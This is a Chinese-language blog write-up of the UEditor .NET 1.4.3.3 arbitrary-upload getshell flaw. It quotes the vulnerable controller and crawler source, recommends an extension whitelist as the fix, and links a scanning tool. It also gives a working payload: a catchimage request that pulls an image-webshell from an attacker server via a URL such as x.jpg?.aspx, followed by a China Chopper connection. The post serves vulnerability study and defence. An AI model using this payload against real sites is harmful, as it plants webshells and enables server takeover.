0x00 概述
8月21日,网上爆出ueditor .net版本getshell漏洞,由于只校验ContentType而没校验文件后缀导致getshell。
0x01 漏洞重现
Payload:
图片马x.jpg放在自己服务器上
提交http://www.domain.top/x.jpg?.aspx
返回:
菜刀连接:
0x02 修复方案
增加文件扩展名校验(白名单)
0x03 漏洞分析
ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx
<%@ WebHandler Language="C#" Class="UEditorHandler" %> using System; using System.Web; using System.IO; using System.Collections; using Newtonsoft.Json; public class UEditorHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { Handler action = null; switch (context.Request["action"]) { case "config": action = new ConfigHandler(context); break; case "uploadimage": action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList("imageAllowFiles"), PathFormat = Config.GetString("imagePathFormat"), SizeLimit = Config.GetInt("imageMaxSize"), UploadFieldName = Config.GetString("imageFieldName") }); break; case "uploadscrawl": action = new UploadHandler(context, new UploadConfig() { AllowExtensions = new string[] { ".png" }, PathFormat = Config.GetString("scrawlPathFormat"), SizeLimit = Config.GetInt("scrawlMaxSize"), UploadFieldName = Config.GetString("scrawlFieldName"), Base64 = true, Base64Filename = "scrawl.png" }); break; case "uploadvideo": action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList("videoAllowFiles"), PathFormat = Config.GetString("videoPathFormat"), SizeLimit = Config.GetInt("videoMaxSize"), UploadFieldName = Config.GetString("videoFieldName") }); break; case "uploadfile": action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList("fileAllowFiles"), PathFormat = Config.GetString("filePathFormat"), SizeLimit = Config.GetInt("fileMaxSize"), UploadFieldName = Config.GetString("fileFieldName") }); break; case "listimage": action = new ListFileManager(context, Config.GetString("imageManagerListPath"), Config.GetStringList("imageManagerAllowFiles")); break; case "listfile": action = new ListFileManager(context, Config.GetString("fileManagerListPath"), Config.GetStringList("fileManagerAllowFiles")); break; case "catchimage": action = new CrawlerHandler(context); break; default: action = new NotSupportedHandler(context); break; } action.Process(); } public bool IsReusable { get { return false; } } }
根据payload,这次漏洞利用点在
case “catchimage”:
action = new CrawlerHandler(context);
break;
找到CrawlerHandler这个类
ueditor1_4_3_3-utf8-net\utf8-net\net\App_Code\CrawlerHandler.cs
public class CrawlerHandler : Handler { private string[] Sources; private Crawler[] Crawlers; public CrawlerHandler(HttpContext context) : base(context) { } public override void Process() { Sources = Request.Form.GetValues("source[]"); if (Sources == null || Sources.Length == 0) { WriteJson(new { state = "参数错误:没有指定抓取源" }); return; } Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray(); WriteJson(new { state = "SUCCESS", list = Crawlers.Select(x => new { state = x.State, source = x.SourceUrl, url = x.ServerUrl }) }); } }
获取传入的source[]
Sources = Request.Form.GetValues(“source[]”);
关键在:
Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
找到Crawler类的Fetch方法:
public class Crawler { public string SourceUrl { get; set; } public string ServerUrl { get; set; } public string State { get; set; } private HttpServerUtility Server { get; set; } public Crawler(string sourceUrl, HttpServerUtility server) { this.SourceUrl = sourceUrl; this.Server = server; } public Crawler Fetch() { if (!IsExternalIPAddress(this.SourceUrl)) { State = "INVALID_URL"; return this; } var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest; using (var response = request.GetResponse() as HttpWebResponse) { if (response.StatusCode != HttpStatusCode.OK) { State = "Url returns " + response.StatusCode + ", " + response.StatusDescription; return this; } if (response.ContentType.IndexOf("image") == -1) { State = "Url is not an image"; return this; } ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat")); var savePath = Server.MapPath(ServerUrl); if (!Directory.Exists(Path.GetDirectoryName(savePath))) { Directory.CreateDirectory(Path.GetDirectoryName(savePath)); } try { var stream = response.GetResponseStream(); var reader = new BinaryReader(stream); byte[] bytes; using (var ms = new MemoryStream()) { byte[] buffer = new byte[4096]; int count; while ((count = reader.Read(buffer, 0, buffer.Length)) != 0) { ms.Write(buffer, 0, count); } bytes = ms.ToArray(); } File.WriteAllBytes(savePath, bytes); State = "SUCCESS"; } catch (Exception e) { State = "抓取错误:" + e.Message; } return this; } }
据说1.5dev版没有判断ip:
if (!IsExternalIPAddress(this.SourceUrl))
https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs (404)
所以1.4.3.3这版本要可解析的域名作为payload
接着进入判断
if (response.ContentType.IndexOf(“image”) == -1)
{
State = “Url is not an image”;
return this;
}
这就是漏洞所在,只判断响应的ContentType,可以构造图片马绕过,如:
http://www.domain.top/xxx.jpg?.aspx
或xxx.php?.aspx在xxx.php中设置ContentType。
最后流程保存文件。
0x04 检测工具
对此漏洞的检测工具,支持单url和批量,使用中有任何问题欢迎反馈!
https://github.com/theLSA/ueditor-getshell
0x05 参考资料
https://www.jianshu.com/p/6dae608b617c?from=timeline&isappinstalled=0
www.freebuf.com/vuls/181814.html
转载请注明来源:ueditor getshell漏洞重现及分析 - LSABLOG